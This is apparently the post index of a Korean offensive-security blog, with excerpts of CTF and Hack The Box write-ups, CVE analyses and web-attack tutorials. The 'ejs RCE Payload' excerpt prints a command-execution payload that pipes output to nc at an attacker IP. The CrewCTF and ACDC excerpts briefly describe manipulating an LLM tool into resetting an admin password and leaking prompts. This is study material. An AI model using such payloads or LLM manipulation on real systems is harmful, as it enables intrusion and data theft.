QRcode Generator를 잘못 구현 시 큐싱(Qshing)의 매개체로 활용될 수 있는 점을 알아봅시다. QRcode & Qshing(큐싱) QRCODE에 의하면 QR코드는 일본에서 처음 개발되었고, 2차원 매트릭스 형태로 이루어진 정보 표시 방법입니다. QR코드에는 URL, 텍스트, 숫자, 결제 정보등을 담을 수 있으며 카메라로...
QRcode with Qshing
26년의 첫글!
26년을 맞이하여 앞으로의 생각?!?! 25년을 마치며 25년의 마지막 주는 휴가를 가서 오랜만에 개발을 했습니다. 점검 하면서 궁금했던 React & Typescript에 대한 공부와 마크다운 에디터를 구현해 보면서 ( 물론 AI 도움없었으면 불가능 이였지만… AI 최고) 조금이나마 개발에 대한 공부를 해보았습니다. 거대한 코드...
HTB - CAP Write-up
HTB - CAP 문제 풀이 입니다. Port Scanning PortScanning 시 오픈 포트는 3개가 열려있습니다. 21 / ftp 22 / ssh 80 / http (glasses㉿BOOK-CUDULDG044)-[~/desktop/HTB/cap] └─$ nmap -Pn -sC 10.10.10.245 -oA tcp_we...
JWT with Security
JWT를 사용할 때 보안에 대해 고려해야할 부분을 알아봅시다. What is JWT? JWT(Json Web Token)은 인증/인가를 위해 세션 방식이 아닌 토큰 형태로 구현하는 기술입니다. RFC7519에 JWT에 대한 정의가 있습니다. JWT는 Header, Payload, signature로 3가지로 나누어져 있습니다. Heade...
Cykor 2025 Write-up
Cykor 2025 Web 문제 풀이 입니다. Fermion 팀으로 참가하여 8th를 했습니다. Cykor 2025 CTF Cykor CTF 는 고려대학교에서 개최한 CTF입니다. Fermion 팀으로 참여 했고, 저는 쉬운 웹 2문제를 풀었습니다. 다음에는 더 어려운 문제를 풀 수 있게 많은 노력을 해야겠습니다… asterisk 문제 ...
HTB - Conversor Write-up
HTB - Conversor 문제 풀이 입니다. Port Scanning 포트스캐닝 결과 22번(SSH), 80번(WEB)이 오픈되어 있습니다. PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8...
ACDC 2025 Write-up
ACDC 2025에서 푼 문제 풀이 입니다. Result 잠깐범팀으로 참여해서 29th를 했습니다. 25문제 중 9문제를 솔브 했습니다. 문제는 MCP, AI 적대적 공격, 프롬프트 leak등 다양한 문제가 나왔습니다. 기존의 CTF와는 다르게 AI를 이용해야 하는 부분에 상당히 많은 게싱과 가스라이팅??? 이 많이 필요했네요. MCP ...
LineCTF 2025 Write-up
Line CTF 2025 - Yapper catcher 문제 풀이 입니다. Result FermionAlp팀으로 참여해서 6th를 했습니다. 저는 Yapper catcher 문제를 하나 풀었네요. 열심히 해서 다음엔 팀에 더 기여할 수 있도록…. FLAG /bot/quotes.js 를 보면 봇이 남기는 문구에 FLAG가 삽입되어 응답합니...
HTB - Editor Write-up
HTB - Editor 문제 풀이 입니다. Port Scanning 포트스캐닝 결과 22번(SSH), 80번(WEB), 8080번(WEB)이 오픈되어 있습니다. nmap -Pn 10.10.11.80 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-13 20:07 KST Nmap scan...
Fiesta 2025 - Write up
Fiesta 2025 문제 풀이 입니다. Result 전직장 동료들과 fiesta 2025를 참여했습니다. 운이 좋게 취약도%20약이다(6위)를 달성해서 만족스러운 결과가 나왔습니다. 내년에는 리버싱 공부도 꾸준히하여 웹 말고 다른 문제도… 풀 수 있길.. 시나리오 3 시나리오3-1 Obfuscator.io Deobfuscator를...
CrewCTF 2025 - Write up
CrewCTF2025에서 풀지못했던 King-of-the-Board 문제를 풀어보겠습니다. King-of-the-Board Get Flag admin 계정으로 로그인을 하면 FLAG를 획득할 수 있습니다. admin 계정으로 로그인을 하기 위해선 LLM 도구 중 reset_password 기능을 실행 시켜 admin의 비밀번호를 바꿔야 합...
CVE-2017-10271
롯데카드 해킹 사고 원인으로 밝혀진 CVE-2017-10271에 대해 알아봅시다. 취약점 재현을 통해 어떻게 공격이 들어오는지 알아봅시다. Background 롯데카드는 ISMS-P 인증을 취득한지 얼마 되지 않았지만 해킹을 당해 1.7GB 정도의 온라인결제서버의 데이터가 유출되었다고 합니다. 3개 서버에서 2종의 악성코드와 5종의 웹쉘(서...
HTB - Codetwo Write up
HTB Codetwo Write up 입니다. Port Scanning 포트 스캔 결과 22, 8000 포트가 열려있다. 22 : SSH 8000 : 웹 서비스, linux nmap -sC -sV -p 22,8000 10.10.11.82 -oA tcp_detail Starting Nmap 7.94SVN ( https://nmap...
2025 CCE Qual CTF Write up
CCE 2025 예선전에서 풀었던 문제입니다. Result 웹쟁이 3명이서 출전을 했는데 각각 AI, Crypto, WEB 1문제씩을 풀었고 점수는 750점을 획득했습니다. 웹이 너무 어렵게 나온거 같아서 아쉬운… 대회였고…. 제 실력에 대해 많이 부족하다는걸 다시 한번 느낄 수 있었습니다. joke(Crypto) joke 문제는 접속 시 ...
RaceCondition(TOCTOU) with Burp
Burp 기능을 이용하여 레이스컨디션(TOCTOU)를 쉽게 점검하는 방법을 알아봅시다. Background 레이스 컨디션(Race Condition)이란, 둘 이상의 프로세스나 스레드가 공유 자원에 동시에 접근하여 의도치 않은 동작이 발생하는 현상을 말합니다. 보안에서는 이를 악용해 권한 우회, 데이터 변조, 중복 처리 등을 유발할 수 있습니...
pwndbg & Docker
도커를 이용해서 pwndbg 환경 구축을 해봅시다. Dockerfile # 최신 Ubuntu 이미지를 기반으로 합니다. FROM ubuntu:latest # apt가 대화형으로 실행되는 것을 방지합니다. ENV DEBIAN_FRONTEND=noninteractive # 필요한 패키지들을 설치합니다. # gdb, python, pip, gi...
CI & DI
주민등록번호 수집 금지로 인해 이를 대체하기 위해 도입된 개념입니다. CI & DI에 대해서 알아보고. 문제점에 대해서도 알아봅시다. What is CI & DI? CI(Connecting Information) CI는 연계 정보(Connecting Information)로 본인인증기관에서 개인별로 부여하는 연계정보 ...
os.path.join to LFI
os.path.join 사용 시 LFI로 이루어 질 수 있어 주의점을 알아봅시다 What is os.path.join? Join one or more path segments intelligently. The return value is the concatenation of path and all members of *paths, with e...
CVE-2025-2945 - pgAdmin4 for RCE
CVE-2025-2945에 대해서 알아봅시다. What is pgAdmin4 pgAdmin4는 postgresql을 쉽게 관리할 수 있도록 도와주는 도구입니다. pgAdmin4는 Python, ReactJs, Javascript를 사용하여 pgAdmin을 만들었습니다. Electron으로 만들어진 Desktop 런타임을 통해 개별 사용자가...
25년 전자금융기반시설 주요 개정 사항(웹/모바일)
25년 웹/모바일 전자금융기반시설 취약점 분석 평가의 주요 개정사항을 알아봅시다. 무제한 요청 허용 AS-IS : 자동화 공격 TO-BE : 무제한 요청 허용 항목 이름에 따른 내용 혼선 방지를 위해 변경되었다. 취약점 설명 시스템 자원 고갈, 비용 발생 등 서비스 운영상에 영향을 미치는 기능에 대해 반복된 호출 기능 여부를 점검 한다....
Front-End Security
티오리의 OpenTRS : Securing the Front Lines: Protecting Front-End Applications from Overlooked Vulnerabilities 를 보고 요약해 보자. Theori OpenTRS : Securing the Front Lines OpenTRS를 보고 내용을 요약해보겠습니다. Why...
Between security and usability
보안과 편의성에 대한 나의 생각 Background 이 글을 쓰는 이유는 보안 업무를 하면서 생긴 많은 고민들이 있습니다. 그 중 한가지는 보안 VS 편의성 어디까지 허용되어야 하는가 입니다. Generative AI 가장 대표적인 예시로 생성형 AI다. 요즘 GPT를 안쓰는 사람은 없을꺼라고 생각한다. 하지만 업무를 보조하는데 사용하기...
postgresql with Command Execution
postgresql 접근이 가능하면 RCE가 가능할 수도 있습니다. What is Postgresql postgresql은 오픈소스 관계형 데이터베이스 관리 시스템(RDBMS)입니다. 무료로 사용이 가능하며, 안정성과 확장성이 좋은 평가를 받고있다고 공식홈페이지에서 소개를 하고 있습니다. How to Command Execution wi...
New Beginning
그동안 바쁜다는 핑계로 미루었던 블로그 글을 다시 한번 써볼까 합니다. 6 months 6개월 간 많은 변화가 있었고 간단하게 적어볼까 합니다. git & Copilot vscode로 사용하는 git과 코파일럿은 유용하고 편리하게 잘 사용하고 있습니다. #Thanks BH 코파일럿은 월 12$ ...
Take a careful look at the code
Hack The Box를 문제를 풀던 중 별거 아니였지만 꽤 고전한 부분에 대해서 적으려고 합니다. What happening? admin계정으로 로그인을 하면 FLAG를 주는 단순한 문제였습니다. 계정은 JWT 토큰으로 관리되어 있어 None Attack등 과 같은 공격은 불가했습니다. 아래의 코드처럼 파라미터(id,pw)의 개수가 2...
Hack The Box - headless
Hack The Box - Headless 문제를 풀어 봅시다. Port Scanning Port Scanning 결과는 22번(SSH)와 5000번 포트가 열려있습니다. XSS 5000번 포트로 접근 시 웹 페이지가 보입니다. For questions 버튼을 누르면 이름, 폰번호, contents등을 적어 Submit을 할 수...
Boom Boom Hell - Unintened Solve
2024 Line CTF에서 웹 문제인 Boom Boom Hell을 언인텐하여 풀이를 적어보고자 합니다. Boom Boom Hell 중요 코드의 해석은 아래와 같습니다. /chall 엔드포인트에 url 파라미터를 제어할 수 있습니다. if문 2개를 통과해야 합니다. url의 파라미터의 길이가 escapeHTM...
Nginx off by slash
Nginx의 off by slash로 인한 보안설정으로 발생할 수 있는 취약점에 대해 알아봅시다. off by slash off by slash는 /로 닫지 않는 것을 의미합니다. nginx의 설정 파일에 /를 닫지 않았을 때 어떤 취약점이 발생할 수 있는지 예제를 통해 알아봅시다. Alias LFI Misconfiguration ngi...
XSS with srcdoc
HTML5 태그를 통해 Real World에서 발생한 XSS 취약점을 알아봅시다. srcdoc <iframe> 태그의 srcdoc 속성은 <iframe> 요소에 보일 웹 페이지의 HTML 코드를 명시합니다. srcdoc 속성이 명시되어 있고 해당 브라우저가 srcdoc 속성을 지원하면, <iframe> ...
PHAR Deserialization Vulnerability
최근에 드림핵 문제를 Phar Deserialization 취약점을 알게되어서 정리하고자 합니다. What is PHAR & Deserialization PHAR What is phar? Phar archives are best characterized as a convenient way to group several files i...
HTTP 0.9, 1.0, 1.1, 2.0
최근에 워게임 문제를 풀다가 HTTP 버전 차이로 인한 문제를 풀었습니다. 이에 HTTP1.0, HTTP1.1, HTTP2.0에 대하여 간단하게 알아봅시다. What is HTTP? HTTP(HyperText Transfer Protocol)는 인터넷 상에서 정보를 주고 받을 수 있는 프로토콜입니다. 신뢰성있는 연결을 하기 위해 주로 T...
cURL with CTF
CTF나 워게임 문제를 풀 때 쉘 명령어로 /flag를 실행시키거나, /flag.txt와 같은 파일 내용을 가져와야 하는 경우가 있습니다. 이런 상황에서 쉘을 연결하지 않고 cURL를 이용하는 여러가지 방법을 알아봅시다. What is Curl?? cURL은 client URL 이라는 뜻을 가지고 있습니다. 지원하는 프로토콜을 이용하여 URL...
Base64 Principle
드림핵 문제 like64 문제를 풀다 궁금했던 부분을 알아봅시다. Base64 encoding & Decoding 원리를 알아봅시다. What is Base64 Base64는 ascii 영역의 문자들로 이루어진 문자열로 변환하는 인코딩 기술입니다. 전체의 ascii 영역은 아니며 2^6 -> 64글자를 가지고 인코딩을 하는 ...
CSP Bypass with JSONP
CSP에 script-src에 JSONP API를 지원하는 서버가 있을 경우 이를 이용하여 XSS를 하는 방법을 알아봅시다. What is JSONP JSONP는 SOP(Same Origin Policy)정책을 우회하기 위해 사용하는 방법입니다. JSONP는 HTML 문서의 script 태그로 다른 도메인을 요청 할 시 SOP 정책이 적용되지...
URL Normalization with XSS
URL Normalization에 대해서 알아봅시다. 추가로 URI Normalization으로 인한 javascript scheme 필터링 우회 XSS Payload를 알아봅시다. 마지막으로는 filename_XSS에서 궁금한 점을 찾아보았습니다. URL Normalization 브라우저는 URL을 사용할 때 Normalization을 합니...
AWS Instance Meta-data SSRF
AWS-SSRF를 읽고 실습해봅시다. RCE 까진 안해봤고 SSRF 까지만 따라 해봤습니다. Get AWS EC2 Meta-data AWS의 EC2 Instance Meta-data는 실행 중인 Instance를 구성 또는 관리하는 데 사용될 수 있는 Instance 관련 데이터입니다. 대부분의 AWS EC2 Instance Meta-da...
🔵⚪️🔴 강등 실화....
🔵⚪️🔴 친구들과 유니폼도 사고 응원가도 부르며 좋은 추억을 많이 만들며 K리그에 빠지게 되었습니다. 수원삼성을 응원하는 팬으로서 이번주 토요일은 참으로 마음이 아픈 하루였습니다. 12위로 순위를 마무리 하며 결국 다이렉트 강등을 하게되었습니다. 2부를 가더라도 응원을 안하는 것은 아니지만 참으로 아쉬움이 많고 안타까운 한 해 였습니다. 몇몇...
Javascript Asynchronous
javascript에서 비동기처리 방법을 알아봅시다. javascript is synchronous 자바스크립트는 hositing된 이후부터 코드가 하나씩 처리됩니다. hositing이란 var, function declartion등 자동적으로 위로 올라가는 것 그렇기 때문에 자바스크립트는 비동기처리를 위해 callback, pr...
ejs RCE Payload
ejs에서 사용 가능한 RCE payload 입니다. Payload mainModule "process.mainModule.constructor._load('child_process').exec('{CMD}+|+nc+{attackerip}+{port})" mainModule "process.mainModule.require('chil...
Prototype Pollution
Prototype Pollution에 대해서 알아봅시다. Background Javascript의 객체 지향 Javascript는 객체 지향 언어 객체지향언어의 class 개념이 javascript에는 존재하지 않음 → 상속 기능을 사용하지 못한다는 의미 prototype이라는 고유 특성을 이용해 상속 기능을 구현 EC...
Response Status Code(307, 308) with POST DATA
워게임을 공부하다가 알아낸 POST 데이터를 탈취 할 수 있는 방법을 알아봅시다. Redirection Status Code HTTP 상태코드에서 리다이렉션 코드는 일반적으로 (300번대)입니다. 이중에서 301, 302, 307, 308에 대해 간략하게 알아봅시다. 301 Moved Permanently : 요청한 리소스의 UR...
SS-Leak with Code Injection
SS-Leak 공격에 대해 알아봅시다. Information Same-Site 설정으로 인해 XS-Leak 공격을 시도하기 어렵습니다. XS-Search을 공격하려면 inline-script를 이용해야하는 경우가 많지만 CSP 설정에 의해서 불가능 한 경우가 있습니다. Example Code 예시 코드를 보면 CSP가 설정되어 있어 i...
XS-Search
Dreamhack 강의를 통해 XS-Search 공격에 대해 알아봅시다. Differences XSS 웹 브라우저에서 SOP(Same-Origin Policy)정책으로 인하여 일반적으로는 다른 오리진에 요청을 보내고 응답을 받는 것은 불가능합니다. XSS는 공격 대상 오리진에 반드시 공격자의 입력이 들어가 스크립트를 삽입해야하고, ...
Privilege elevation by SQL Injection
워게임을 풀다 발견한 SQL Injetion을 통한 권한상승 공격을 알아봅시다. 실무에서도 발견 가능성이 존재하기에 항상 열린 생각을 가져야합니다. Attack Scenario 계정의 권한은 DB에 저장되어 있음 일반 계정을 생성할 때 자동으로 DB에 일반 권한이 추가됨 쿼리 구조를 파악(추측)하여 insert 구문에 SQL ...
SQL Injection Filtering Bypass
Mysql에서 SQL Injection Filtering Bypass에 대해서 알아봅시다. Whitespace Filtering Bypass 공백 문자 필터링은 %09, %0a, %0b, %0c, %0d, %a0, /**/ 를 사용하여 우회할 수 있습니다. 문자열 의미 ...
Integer Overflow
Dreamhack를 풀다 발견한 Integer Overflow에 대해서 알아봅시다. Integer Overflow Integer Overflow는 주어진 자릿수로 표현할 수 있는 범위(최대값보다 크거나 최소 표현 가능한 값보다 낮음)를 벗어나는 숫자 값을 생성하려고 시도할 때 발생할 수 있는 문제입니다. Exam 아래의 예시 코드를 보면...
Rootbeer bypass
Rootbeer라는 루팅 탐지 앱에서 걸린 루팅 로직을 우회해서 bypass 하도록 만들어봅시다.. Rooting Detect 앱을 실행 후 루팅 체크를 하게 되면 아래와 같이 12개의 체크 로직에서 7개의 로직이 루팅에 걸렸습니다. 공부를 위해 분석하여 우회해 봅시다. Root Management Apps && Pot...
Vanitas - CVE-2018-13379
whitehat contest 2023에서 출제된 웹 Vanitas에서 나온 취약점을 알아봅시다. 파일을 읽어와 계정 정보를 가져오는 CVE-2018-13379 부분만 직접 구현 비슷하게 했습니다. 문제에서는 웹서버 파일이 ELF로 되어있지만 간단하게 exe 파일로 만들었습니다. 문제 코드 문제는 아래와 같이 구성되어 있습니다. unpa...
uncrackable level 1
오랜만에 모바일 후킹을 복기 하기 위해 uncrackable 1 풀이를 해봅시다. Uncrackable 1 These are the UnCrackable Apps for Android and iOS, a collection of mobile reverse engineering challenges. These challenges are us...
Diff View with Ghidra
Ghidra는 두 개의 서로 다른 바이너리의 연산자를 표시해주고 통합하는 기능이 존재합니다. 이번에는 Diff View를 이용하여 바이너리의 차이점을 쉽게 보는 방법을 알아봅시다. Program Difference Ghidra는 서로 다른 바이너리의 연산자를 표시하고 연산자를 통합하는 Program Difference가 존재합니다. git...
IPA Data Decryption
애플스토어에서 앱을 다운받으면 ida로 분석을 해보면 암호화 되어서 분석이 불가능합니다. 복호화하는 도구들도 많지만 수동으로 복호화 하는 방법을 알아봅시다. Let’s go Step 1 ipa to local PC AppStore에서 다운받은 ipa 파일을 로컬 PC로 옮깁니다. ida에서 ipa파일을 열어보면 암호화 메시지 확인이 가능...
EX - CSS Injection
CSS Injection 실습을 해봅시다.. Code Code는 app.py, index.html 코드가 존재합니다. 코드는 단순히 color 변수를 받아 index.html의 h1 태그의 색상을 변경합니다. index.html에는 input으로 api_key가 존재합니다. from flask import Flask, render_te...
CSS Injection
Dreamhack 강의를 통해 CSS Injection이 무엇인지 알아봅시다. CSS Injection CSS Injection은 XSS와 비슷하게 웹 페이지 로딩 시 악의적인 문자열을 삽입하여 악의적인 동작을 이끄는 공격입니다. 공격자가 임의 CSS 속성을 삽입해 웹 페이지 UI를 변조 하거나 CSS 속성의 다양한 기능을 통해 웹 페이지...
php filter chain RCE
워게임 문제를 풀다가 발견한 PHP Filter chain 공격으로 RCE를 하는 방법을 알아봅시다. What is php filter? php://filter is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of o...
XSS with Fileupload Name
파일 업로드 후 다운로드 받을 때 <a>를 사용하여 javascript를 통해 파일 이름명으로 다운로드 받을 시 URL Encoding을 하여 XSS 취약점이 발생할 수 있습니다. Source Code 먼저 flask 기반으로 만들어진 소스 코드를 알아 봅시다. upload 기능과 download 기능이 존재합니다. fro...
Cookie Security
드림핵 강의를 통해 Cookie의 보안설정을 알아봅시다. Cookie Domain/Path 아래와 같이 Cookie가 설정되었을 때 어떻게 되는지 알아봅시다. Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Path=<cookie-...
Unicode Lower Case & Decomposition
워게임 문제를 풀다가 문자열을 검증 로직 우회와 관련한 재미있는 트릭이 있어 글을 남깁니다. What is Unicode 유니코드(Unicode)는 전 세계의 모든 문자를 컴퓨터에서 일관되게 표현하고 다룰 수 있도록 설계된 __국제 표준 문자 인코딩 시스템__입니다. Unicode의 주요 특징 범위 : 0~0x10FFFF 까지의 1...
CRLF Injection & HTTP Response Splitting
최근 CTF 문제를 풀다가 CRLF Injection을 통해 HTTP Response Splitting으로 flag를 찾는 문제가 있었습니다. 개념 이해가 부족한거 같아 글로 작성하려고 합니다. CRLF Injection CRLF Injection은 Carriage Return과 Line Feed를 Inject 하는 공격입니다. Carr...
ICMP Tunneling by Python with Scapy v2
ICMP 터널링 서버에서 자동화로 받는 방법으로 업데이트를 진행했습니다. 이전의 내용은 ICMP Tunneling 1편을 참고 부탁드립니다. 목적 내부망에서 논리적 망분리가 되어있어도 두 HOST간 ping이 가능할 때 ICMP Tunneling으로 데이터 전송을 할 수 있습니다. Send HOST와 Recieve HOST에서 파이썬 ...
URL Check Automation
업무를 하면서 자산마다 접근 되는지 확인을 하기 위한 작업을 있어 이를 자동화 하는 코드를 만들었습니다. 구조 그림으로 그려본 도식화입니다. 엑셀 파일에서 URL과 URL 서비스 이름을 읽어옵니다. 읽어온 데이터를 URL 서비스를 딕셔너리의 키, URL을 딕셔너리의 값으로 저장합니다. URL Request & Reply...
기드라 Ghidra 실전 가이드
리버스 엔지니어링 기드라 실전가이드 Chapter1 리버스 엔지니어링 입문을 정리해봅시다. 디스어셈블과 디컴파일 디스어셈블 : 헥스코드 상태에서 어셈블리 언어(저수준 언어) 로 변환 하는 것 디컴파일 : 헥스코드 상태에서 고수준 언어로 변환 하는 것 프로그램 실행파일과 하드웨어 CPU : 제어부, 연산부, 레지스터로 구성됨 제어...
Requestbin Development
업무를 진행하면서 Data 탈취가 가능한 경우 공격자의 서버로 가져올 수 있습니다. 아직 부족하고 다른 좋은 도구들도 많지만 하나씩 해보는게 좋지않나라는 생각에 개발을 해보았습니다. requestbin? requestbin 이란 client가 요청하는 정보를 받아서 확인할 수 있는 서비스입니다. 여러가지 구현되어 있는 기술들이 많지만 저는...
SQL Injection Sleep() is Danger..
Sleep() 함수를 이용하여 SQLi 공격을 수행할 때 조심해야 하는 부분을 알아봅시다. Time Based SQL Injection SLEEP 모의해킹 업무를 수행할 때 Time Based SQL Injection이 가능한 경우 sleep() 함수를 이용하여 응답 간의 차이를 이용하여 DB를 뽑아올 수 있습니다. 하지만 order b...
Hack The Box - Waiting
Hack The Box mobile 문제인 Waiting 문제를 풀어봅시다. 요즘 모바일을 도통 안해서 다까먹어서… 큰일 개요 제일 먼저 Waiting 앱 실행 시 아래와 같습니다. 그리고 바로 앱이 종료됩니다. 이 앱은 모든 종류의 사용자를 위한 토큰 또는 비밀을 생성하는 데 유용합니다. 업데이트: 다른 앱의 요청 토큰에 대한 일...
regex
원하는 패턴을 찾을 때 regex(정규표현식)을 사용합니다. python에서 re 모듈에서 정규식을 사용하는 방법을 알아봅시다. 메타 문자 정규표현식에서 사용되는 메타 문자들의 의미를 알아봅시다. re 모듈 re파이썬에서 re모듈로 정규식을 사용하는 방법을 알려줍니다. 정규표현식 컴파일 파이썬에서 정규표현식을 사용하기 위해 ...
Hack The Box - LoveTok
Hack The Box LoveTok 문제를 풀어봅시다. Main Page 메인 페이지는 아래와 같습니다. format을 변수를 입력받아 날짜 비슷하게 출력해주는 기능이 존재합니다. Vuln Point WEB ROOT 최상의 index.php를 보면 다음과 같습니다. <?php $router = new Router();...
Hack The Box - Templated
Hack The Box Templated 문제를 풀어봅시다. Description Can you exploit this simple mistake? Solve 문제 웹 사이트에 접근하면 다음과 같다. Flask로 만들어진 웹 페이지를 확인할 수 있다. URL에 test 입력시 test라는 문구가 출력된다. SSTI ...
BabyEncryption
Hack The Box BabyEncryption 문제를 풀어 봅시다. CHALLENGE DESCRIPTION You are after an organised crime group which is responsible for the illegal weapon market in your country. As a secret agent, yo...
loose comparison
최근에 “==” 으로 느슨한 비교를 하는 워게임 문제를 풀었습니다. 이에 느슨한 비교가 무엇인지 자세하게 알아봅시다. loose comparison(느슨한 비교) 느슨한 비교란 말 그대로 느슨한 비교입니다. 코드에서 == 혹은 === 으로 비교하는 것을 볼 수 있습니다. ==은 느슨한 비교, ===은 엄격한 비교라고 합니다. 왜 엄격하고...
Spoofing MAC
오늘 MAC Address를 간단하게 변경 해줄수 있는 도구를 알게되었다. 항상 잘 알려주시는 분들에게 감사합니다👍👍👍👍👍 Spoofing MAC WIKI에 따르면 MAC Address를 변경하는 기술이라고 합니다. 일반적으로 NIC(Network Interface Controller)에서 하드코딩 된 MAC 주소는 변경이 불가능합니다...
CVE-2022-25765 Vulnerability
Hack the Box Precious 문제를 풀면서 발견된 취약점 CVE-2022-25765 분석을 해봅시다! ruby 언어를 잘몰라 정확하지 않을수 있음 CVE-2022-25765 CVE mitre에 따르면 해당 취약점은 아래와 같습니다. The package pdfkit from 0.0.0 are vulnerable to ...
Privilige escalation with Path Injection
일반적으로 쉘을 따게 되면 ROOT 권한이 아니다. 그래서 이런저런 제약이 많기 때문에 ROOT 권한이나 상위 권한이 필요한 경우가 있다. 권한상승 취약점 중 하나인 Path Injection을 알아보자 Privilige escalation? 권한 상승(Privilige escalation)은 운영 체제나 소프트웨어 애플리케이션의 버그, ...
Hack The Box - Precious
Hack the Box Precious 문제를 풀어 봅시다. Port Scanning nmap 스캐닝 결과를 아래와 같습니다. ssh 서비스와 http 서비스가 열려있습니다. ssh의 계정 정보는 모르기 때문에 http 서비스에 접속해 볼 수 있습니다. hosts 파일에 precious.htb를 등록하면 웹 페이지에 접근할 수 있습니...
Reversing Dreamhack Helloworld
드림핵 강의를 통해 Helloworld.exe를 분석을 해봅시다. Helloworld Code 간단한 예제인 HelloWorld.exe를 분석해보자 소스 코드는 1초를 대기하고 Hello, world!를 출력하는 프로그램입니다. #include <Windows.h> #include <stdio.h> char* st...
Hack The Box - Photobomb vulnerability analysis
Photobomb 문제를 풀면서 나왔던 취약점을 분석을 해봅시다. Flag를 찾는 것도 중요하지만 왜 취약점이 터지는지 원인을 아는 것이 굉장히 중요하다고 생각합니다.❗️❗️❗️. Basic Authentication 첫번째로 발견된 취약점은 Baisc Authentication 정보가 노출되었던 취약점입니다. What is Basic...
Hack The Box - Photobomb
Hack the Box의 Photobomb을 풀어봅시다. Port Scanning 제일 먼저 nmap을 이용하여 포트스캔을 돌렸을 때 나오는 결과는 다음과 같습니다. 아래의 포트가 열려있으며 ssh 연결은 ID와 패스워드를 모르니 http 부터 접근을 시도했다. ssh http HTTP Service 그냥 접근하면 ...
Hack The Box - Fawn
Hack the box 기초중 Fawn을 풀어봅시다 Fawn Quiz 형식의 문제를 보면 FTP 관련 문제들이다. Nmap을 통해 FTP 서비스가 열려있는 것을 파악하고 FTP 버전이라던지 익명(Anonymous)FTP로 접근하여 Flag를 찾도록 되어 있다. Anonymous로 FTP를 접근하여 flag.txt를 다운로드 받을 수 있다...
How to Extract Dynamic DEX Loading
최근 모바일 진단 중 루팅탐지를 하고 있지만 어디서 호출하는지를 찾을 수가 없었는데 어찌저찌 하다가 Dynamic Dex Loading이 적용된 것을 발견 하였습니다. Dynamic Dex Loading을 하는 App에서 DEX를 추출하는 방법들에 대해서 알아봅시다. Dynamic Dex Loading 🔵⚪️🔴 Dynamic Dex Loa...
Frida TCP Hooking
TCP 통신을 MITM Relay가 아닌 Frida 후킹을 통해 패킷을 잡아봅시다. 개요 소켓 통신에서 C/C++ 함수를 이용하는 방법은 데이터 송수신 함수를 이용하는 방법입니다. send(), recv() sendto(), rectfrom() 함수 원형 함수 원형은 아래와 같습니다. send(int sockfd, co...
Error Based & Error based Blind SQL Injection
DreamHack 강의를 통해 Error Based SQL Injection과 Error Based Blind SQL Injection에 대해서 알아봅시다. Error Based SQL Injection Dreamhack 강의를 통해 Error Based SQL Injection이 무엇인지 알아봅시다. Error Based SQL I...
ICMP Tunneling by Python with Scapy
ICMP Tunneling을 통해 내부망 간 데이터를 전송할 수 있습니다. 내부망 간 ping 명령어가 동작을 하게 될 경우 ICMP Tunneling을 이용하여 DATA를 전달할 수 있습니다. What is ICMP? ICMP에 대하여 간단하게 알아보면 인터넷 제어 메시지 프로토콜으로 일반적으로 IP 동작에서 진단이나 제어로 사용되...
Blind SQLi With Binary Search & Python
이번에는 Binary Search를 이용하여 DB를 추출할 수있는 방법을 알아봅시다. Binary Search Binary Search란 이진탐색 알고리즘이라 하며 정렬된 데이터에서 검색 범위를 줄여 나가면서 원하는 데이터를 검색하는 알고리즘 입니다. Contain DB Name test는 acunetix의 취약한 페이지로 진행...
Blind SQLi With Bit operation & Burp Intruder
Bit operation을 이용하여 버프스위트의 Intruder 기능으로 간단하게 DB를 추출할 수있는 방법을 알아봅시다. Bit operation 항상 Binary Search를 이용하여 Blind SQLi 스크립트를 를 만들었는데 드림핵 강의를 통해 MySQL DB에서 Bit operation을 이용해도 되는 것을 알게되었습니다 ...
XSS Filtering bypass with JSFuck
XSS를 발견했지만 alert, confirm, prompt등 문자열이 WAF에서 필터링 되었을 때 JSFuck을 이용하여 이를 우회하는 방법을 알아봅시다. What is JSFuck? 위키에 따르면 JavaScript 문법에서 사용되는 문자 중 단 6가지인 [,],(,),!,+ 만으로 구현할 수 있음에 착안하여 고안된 난해한 프로그래...